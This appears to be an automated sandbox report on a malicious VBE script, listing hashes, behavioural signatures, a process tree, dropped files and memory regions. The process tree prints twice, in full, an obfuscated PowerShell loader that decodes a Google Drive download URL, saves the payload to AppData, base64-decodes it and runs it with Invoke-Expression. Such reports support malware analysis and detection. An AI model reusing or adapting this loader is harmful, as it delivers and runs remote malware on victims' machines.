Analysis
-
max time kernel
138s -
max time network
107s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
23-05-2024 01:20
Static task
static1
Behavioral task
behavioral1
Sample
383045b66fe2c7bc0329fe7c671ab1b7d6c2a5334530f4972e0a364a2382c9f3.vbe
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
383045b66fe2c7bc0329fe7c671ab1b7d6c2a5334530f4972e0a364a2382c9f3.vbe
Resource
win10v2004-20240508-en
General
-
Target
383045b66fe2c7bc0329fe7c671ab1b7d6c2a5334530f4972e0a364a2382c9f3.vbe
-
Size
5KB
-
MD5
ee79e648e91b1ce814880ccde05bc2f5
-
SHA1
7b42afec990d74d33d650d4d82b85057f30fad0c
-
SHA256
383045b66fe2c7bc0329fe7c671ab1b7d6c2a5334530f4972e0a364a2382c9f3
-
SHA512
769dae3c283203508d24e1edf4b4619498db1af9f2ca90dedbbf538ec15d5ff9d25a912a1c12221dc6cef3af1d41051bd15fea827f310aaacc2554d220ae3ad8
-
SSDEEP
96:Q1k8HdF1YeCbuTUtYX3Mu0sTwsZ0pstwIjzSv+vvddxDpE5IHf0d21XmwDCToWHO:QHHj0tQ3z0sZwstwIjzyYvddxDa5IHfL
Malware Config
Signatures
-
Blocklisted process makes network request 2 IoCs
Processes:
powershell.exeflow pid process 8 4460 powershell.exe 10 4460 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
WScript.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation WScript.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
-
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
Processes:
powershell.exepid process 372 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Program crash 1 IoCs
Processes:
WerFault.exepid pid_target process target process 3716 372 WerFault.exe powershell.exe -
Suspicious behavior: EnumeratesProcesses 5 IoCs
Processes:
powershell.exepowershell.exepid process 4460 powershell.exe 4460 powershell.exe 372 powershell.exe 372 powershell.exe 372 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 4460 powershell.exe Token: SeDebugPrivilege 372 powershell.exe -
Suspicious use of WriteProcessMemory 10 IoCs
Processes:
WScript.exepowershell.exepowershell.exedescription pid process target process PID 444 wrote to memory of 4460 444 WScript.exe powershell.exe PID 444 wrote to memory of 4460 444 WScript.exe powershell.exe PID 4460 wrote to memory of 644 4460 powershell.exe cmd.exe PID 4460 wrote to memory of 644 4460 powershell.exe cmd.exe PID 4460 wrote to memory of 372 4460 powershell.exe powershell.exe PID 4460 wrote to memory of 372 4460 powershell.exe powershell.exe PID 4460 wrote to memory of 372 4460 powershell.exe powershell.exe PID 372 wrote to memory of 2572 372 powershell.exe cmd.exe PID 372 wrote to memory of 2572 372 powershell.exe cmd.exe PID 372 wrote to memory of 2572 372 powershell.exe cmd.exe
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\383045b66fe2c7bc0329fe7c671ab1b7d6c2a5334530f4972e0a364a2382c9f3.vbe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Cuarenta = 1;$Snerydde='Sub';$Snerydde+='strin';$Snerydde+='g';Function Sydslesvigsk($Khalifs){$Unspared98=$Khalifs.Length-$Cuarenta;For($Telefonisterne=1;$Telefonisterne -lt $Unspared98;$Telefonisterne+=2){$Unsurmounted+=$Khalifs.$Snerydde.Invoke( $Telefonisterne, $Cuarenta);}$Unsurmounted;}function brndforgiftnings($Baccar50){& ($Naturfredningsforenings) ($Baccar50);}$Gesneriaceae=Sydslesvigsk ' M oKzFiHl lMa /S5 .C0P .(QWJiHnCdaocwYs NBT 1S0,.P0S;. WFi,n 6C4 ;M Gx 6 4 ;C Ir.vP: 1O2R1 . 0G), G e c kSo,/D2 0.1F0P0f1P0P1b fF.i rEeUf,oKx /K1E2A1B.L0M ';$Bagsderyglnet=Sydslesvigsk ' UBs e rN-KATg.epn.tH ';$Interessentselskaber136=Sydslesvigsk '.hOt.t,p,s,:B/C/.dBr.iAvSe ..gSoCo,gVlLe,.,c oTmB/Du c ?ue.x p.oSr.t = dNoMwOnAlSo.a dK&DiLdB=O1U6LUBB L.jUa VBWUQ n 1FXU_ M ITS L,4N9 y a,2 h.KMB e,m jFj,X.SD0 ';$Uskrevet=Sydslesvigsk 'E> ';$Naturfredningsforenings=Sydslesvigsk 'Ri e xe ';$Rottweileren='Spilerens';$Gratias = Sydslesvigsk 'Pe c hAo ,%LaPp p dPa.tAaB%A\ RTu dRk.b.iKnRgae nDsBe rP.FUTdrv & &R .e c h,o. Stp ';brndforgiftnings (Sydslesvigsk ' $ gBl,o,bCa l :RFSi l.t.eNrPpfr.o.gPrCa m m,e tW=S(.c.mSd, /ScL O$DGGr a t iMaTs )V ');brndforgiftnings (Sydslesvigsk ' $VgOlAo.b aRlt:SP,hSa gSe d aXe.nRiBc a l.=E$SIDnJtCe,rLePsSs,eQnBt sKeDlAsKkTa.bOe rF1 3M6,. sEpPl,i.tP(K$IU.sPkSr e vEeLt )L ');$Interessentselskaber136=$Phagedaenical[0];$Cartelize= (Sydslesvigsk 'H$.gSl o b.aOl :,N eBdBk,mSp eId e =,N eKwT- ORb.j e.cNt RS yFsGtSe,mP..N e tH.SWTeGb CHlCiFeAnCt');$Cartelize+=$Filterprogrammet[1];brndforgiftnings ($Cartelize);brndforgiftnings (Sydslesvigsk ' $SN,eLd kSm p e dUe,.KH e a.d eKr,s [.$ B.aNg sedReTr.y,gSlRn,eSt.] = $,G eBs,nFe r iUaMc emaKe ');$Bifangsternes=Sydslesvigsk ' $SN e d k m p eSdAea. DToUwKn.lPo,a dAFEi lRe,( $FI,nStEeGr.e s.sBesnAt,s eFlSs k a bTe.r 1T3I6P,C$MSGuDbOsSt a.l,aSgSmCiCt e,)P ';$Substalagmite=$Filterprogrammet[0];brndforgiftnings (Sydslesvigsk 'P$ng l.o b a lA:PA mSbUu l.o m a n c yL= (PTCe.sBtP- P aCtNhD B$.S.u.bjsHtCaCl aFg.m,i t eD). ');while (!$Ambulomancy) {brndforgiftnings (Sydslesvigsk 'L$SgSlRoSb.a lS:.MDi a =,$AtWr.u eI ') ;brndforgiftnings $Bifangsternes;brndforgiftnings (Sydslesvigsk ' SEt aAr tA-US.l e eBp B4D ');brndforgiftnings (Sydslesvigsk 'M$Mg.l,o,bFaIl,:DAAmDb uVlBo,mOaSn c y,= (FT,eIsmt -.P aCt hP N$ S uUbHs tRaOlNa,g m iMtSe ) ') ;brndforgiftnings (Sydslesvigsk ' $ g lRo b a l : G.aEs e,nM= $ gPlMo b aTl.:MAKc hui nFeBs sF+M+M%V$FP,h.a g.e dTa eNn i.cFa.l,..c oPu nBtR ') ;$Interessentselskaber136=$Phagedaenical[$Gasen];}$aiery=384974;$Clockcase=25303;brndforgiftnings (Sydslesvigsk 'D$Ng l oCbEa,l : OBpFkSr,vpetnVdGe sC = aG eAt -TC oGnHt e n tU .$.S.udb.s t aNlbaUgKmCiLt eT ');brndforgiftnings (Sydslesvigsk 'd$,gFl,oPb a l :AE sAkOa p ils,tAi,s kR .=D U[FSAy,s t eUmG.ICMoAnPvTeLrrt ] :,: F,rFo.mEBdaKsBe 6 4.S t,rPiPn ga(S$POUpRkSrTvPe nJd e s )I ');brndforgiftnings (Sydslesvigsk ',$.gOl oSbKa lL: FFiSsOkDeCp,r oHd,uFk,tSe r sI Y=L ,[.S.yBsStCeBmL.BT.e,x,tS.LE,nOc,oSdDi n gA]O:.: AUS C,I I .BG,e t,S t.r.i,n g (,$NE s kUaOp.i.sStIiOsAk )A ');brndforgiftnings (Sydslesvigsk 'S$AgNlPoDb aGl :TB,e lSi nBeP= $ FFi.sukBeApMr,oHdMu k tUeSr sS.as uLb s t.rPiNnBg (C$DasiMe,rTy ,,$.C,lgo cOkBc a s.eA)C ');brndforgiftnings $Beline;"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Rudkbingenser.Udv && echo t"3⤵
-
C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Cuarenta = 1;$Snerydde='Sub';$Snerydde+='strin';$Snerydde+='g';Function Sydslesvigsk($Khalifs){$Unspared98=$Khalifs.Length-$Cuarenta;For($Telefonisterne=1;$Telefonisterne -lt $Unspared98;$Telefonisterne+=2){$Unsurmounted+=$Khalifs.$Snerydde.Invoke( $Telefonisterne, $Cuarenta);}$Unsurmounted;}function brndforgiftnings($Baccar50){& ($Naturfredningsforenings) ($Baccar50);}$Gesneriaceae=Sydslesvigsk ' M oKzFiHl lMa /S5 .C0P .(QWJiHnCdaocwYs NBT 1S0,.P0S;. WFi,n 6C4 ;M Gx 6 4 ;C Ir.vP: 1O2R1 . 0G), G e c kSo,/D2 0.1F0P0f1P0P1b fF.i rEeUf,oKx /K1E2A1B.L0M ';$Bagsderyglnet=Sydslesvigsk ' UBs e rN-KATg.epn.tH ';$Interessentselskaber136=Sydslesvigsk '.hOt.t,p,s,:B/C/.dBr.iAvSe ..gSoCo,gVlLe,.,c oTmB/Du c ?ue.x p.oSr.t = dNoMwOnAlSo.a dK&DiLdB=O1U6LUBB L.jUa VBWUQ n 1FXU_ M ITS L,4N9 y a,2 h.KMB e,m jFj,X.SD0 ';$Uskrevet=Sydslesvigsk 'E> ';$Naturfredningsforenings=Sydslesvigsk 'Ri e xe ';$Rottweileren='Spilerens';$Gratias = Sydslesvigsk 'Pe c hAo ,%LaPp p dPa.tAaB%A\ RTu dRk.b.iKnRgae nDsBe rP.FUTdrv & &R .e c h,o. Stp ';brndforgiftnings (Sydslesvigsk ' $ gBl,o,bCa l :RFSi l.t.eNrPpfr.o.gPrCa m m,e tW=S(.c.mSd, /ScL O$DGGr a t iMaTs )V ');brndforgiftnings (Sydslesvigsk ' $VgOlAo.b aRlt:SP,hSa gSe d aXe.nRiBc a l.=E$SIDnJtCe,rLePsSs,eQnBt sKeDlAsKkTa.bOe rF1 3M6,. sEpPl,i.tP(K$IU.sPkSr e vEeLt )L ');$Interessentselskaber136=$Phagedaenical[0];$Cartelize= (Sydslesvigsk 'H$.gSl o b.aOl :,N eBdBk,mSp eId e =,N eKwT- ORb.j e.cNt RS yFsGtSe,mP..N e tH.SWTeGb CHlCiFeAnCt');$Cartelize+=$Filterprogrammet[1];brndforgiftnings ($Cartelize);brndforgiftnings (Sydslesvigsk ' $SN,eLd kSm p e dUe,.KH e a.d eKr,s [.$ B.aNg sedReTr.y,gSlRn,eSt.] = $,G eBs,nFe r iUaMc emaKe ');$Bifangsternes=Sydslesvigsk ' $SN e d k m p eSdAea. DToUwKn.lPo,a dAFEi lRe,( $FI,nStEeGr.e s.sBesnAt,s eFlSs k a bTe.r 1T3I6P,C$MSGuDbOsSt a.l,aSgSmCiCt e,)P ';$Substalagmite=$Filterprogrammet[0];brndforgiftnings (Sydslesvigsk 'P$ng l.o b a lA:PA mSbUu l.o m a n c yL= (PTCe.sBtP- P aCtNhD B$.S.u.bjsHtCaCl aFg.m,i t eD). ');while (!$Ambulomancy) {brndforgiftnings (Sydslesvigsk 'L$SgSlRoSb.a lS:.MDi a =,$AtWr.u eI ') ;brndforgiftnings $Bifangsternes;brndforgiftnings (Sydslesvigsk ' SEt aAr tA-US.l e eBp B4D ');brndforgiftnings (Sydslesvigsk 'M$Mg.l,o,bFaIl,:DAAmDb uVlBo,mOaSn c y,= (FT,eIsmt -.P aCt hP N$ S uUbHs tRaOlNa,g m iMtSe ) ') ;brndforgiftnings (Sydslesvigsk ' $ g lRo b a l : G.aEs e,nM= $ gPlMo b aTl.:MAKc hui nFeBs sF+M+M%V$FP,h.a g.e dTa eNn i.cFa.l,..c oPu nBtR ') ;$Interessentselskaber136=$Phagedaenical[$Gasen];}$aiery=384974;$Clockcase=25303;brndforgiftnings (Sydslesvigsk 'D$Ng l oCbEa,l : OBpFkSr,vpetnVdGe sC = aG eAt -TC oGnHt e n tU .$.S.udb.s t aNlbaUgKmCiLt eT ');brndforgiftnings (Sydslesvigsk 'd$,gFl,oPb a l :AE sAkOa p ils,tAi,s kR .=D U[FSAy,s t eUmG.ICMoAnPvTeLrrt ] :,: F,rFo.mEBdaKsBe 6 4.S t,rPiPn ga(S$POUpRkSrTvPe nJd e s )I ');brndforgiftnings (Sydslesvigsk ',$.gOl oSbKa lL: FFiSsOkDeCp,r oHd,uFk,tSe r sI Y=L ,[.S.yBsStCeBmL.BT.e,x,tS.LE,nOc,oSdDi n gA]O:.: AUS C,I I .BG,e t,S t.r.i,n g (,$NE s kUaOp.i.sStIiOsAk )A ');brndforgiftnings (Sydslesvigsk 'S$AgNlPoDb aGl :TB,e lSi nBeP= $ FFi.sukBeApMr,oHdMu k tUeSr sS.as uLb s t.rPiNnBg (C$DasiMe,rTy ,,$.C,lgo cOkBc a s.eA)C ');brndforgiftnings $Beline;"3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Rudkbingenser.Udv && echo t"4⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 372 -s 22324⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 372 -ip 3721⤵
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1e003omq.0uo.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
C:\Users\Admin\AppData\Roaming\Rudkbingenser.UdvFilesize
534KB
MD59954201e4cf053ed914a27ebc5c0afcb
SHA1c78635b446c8e6ce924f5eb5f186110eba6dbc34
SHA256816ab3bd778e5e1f8aa7d8e225b5de50e977990b2217ba2fe28c0a856ff5a2e1
SHA512cd8574c186fd9d45a7597068b5d66de81843cd9a2c593e5326e19f354f6d94e8739a81a141694d8741730cfb174cee797c316a7326d9bd01218e8c8c0452535d
-
memory/372-29-0x0000000005BE0000-0x0000000005F34000-memory.dmpFilesize
3.3MB
-
memory/372-32-0x00000000078F0000-0x0000000007F6A000-memory.dmpFilesize
6.5MB
-
memory/372-38-0x0000000008AD0000-0x000000000AE00000-memory.dmpFilesize
35.2MB
-
memory/372-15-0x0000000002780000-0x00000000027B6000-memory.dmpFilesize
216KB
-
memory/372-16-0x0000000005320000-0x0000000005948000-memory.dmpFilesize
6.2MB
-
memory/372-17-0x0000000005200000-0x0000000005222000-memory.dmpFilesize
136KB
-
memory/372-18-0x0000000005A00000-0x0000000005A66000-memory.dmpFilesize
408KB
-
memory/372-19-0x0000000005A70000-0x0000000005AD6000-memory.dmpFilesize
408KB
-
memory/372-36-0x0000000008520000-0x0000000008AC4000-memory.dmpFilesize
5.6MB
-
memory/372-30-0x0000000006090000-0x00000000060AE000-memory.dmpFilesize
120KB
-
memory/372-31-0x00000000060F0000-0x000000000613C000-memory.dmpFilesize
304KB
-
memory/372-35-0x00000000072E0000-0x0000000007302000-memory.dmpFilesize
136KB
-
memory/372-33-0x0000000006640000-0x000000000665A000-memory.dmpFilesize
104KB
-
memory/372-34-0x0000000007350000-0x00000000073E6000-memory.dmpFilesize
600KB
-
memory/4460-11-0x00007FF8EDB40000-0x00007FF8EE601000-memory.dmpFilesize
10.8MB
-
memory/4460-0-0x00007FF8EDB43000-0x00007FF8EDB45000-memory.dmpFilesize
8KB
-
memory/4460-6-0x0000019ED5AE0000-0x0000019ED5B02000-memory.dmpFilesize
136KB
-
memory/4460-12-0x00007FF8EDB40000-0x00007FF8EE601000-memory.dmpFilesize
10.8MB
-
memory/4460-39-0x00007FF8EDB43000-0x00007FF8EDB45000-memory.dmpFilesize
8KB
-
memory/4460-40-0x00007FF8EDB40000-0x00007FF8EE601000-memory.dmpFilesize
10.8MB
-
memory/4460-44-0x00007FF8EDB40000-0x00007FF8EE601000-memory.dmpFilesize
10.8MB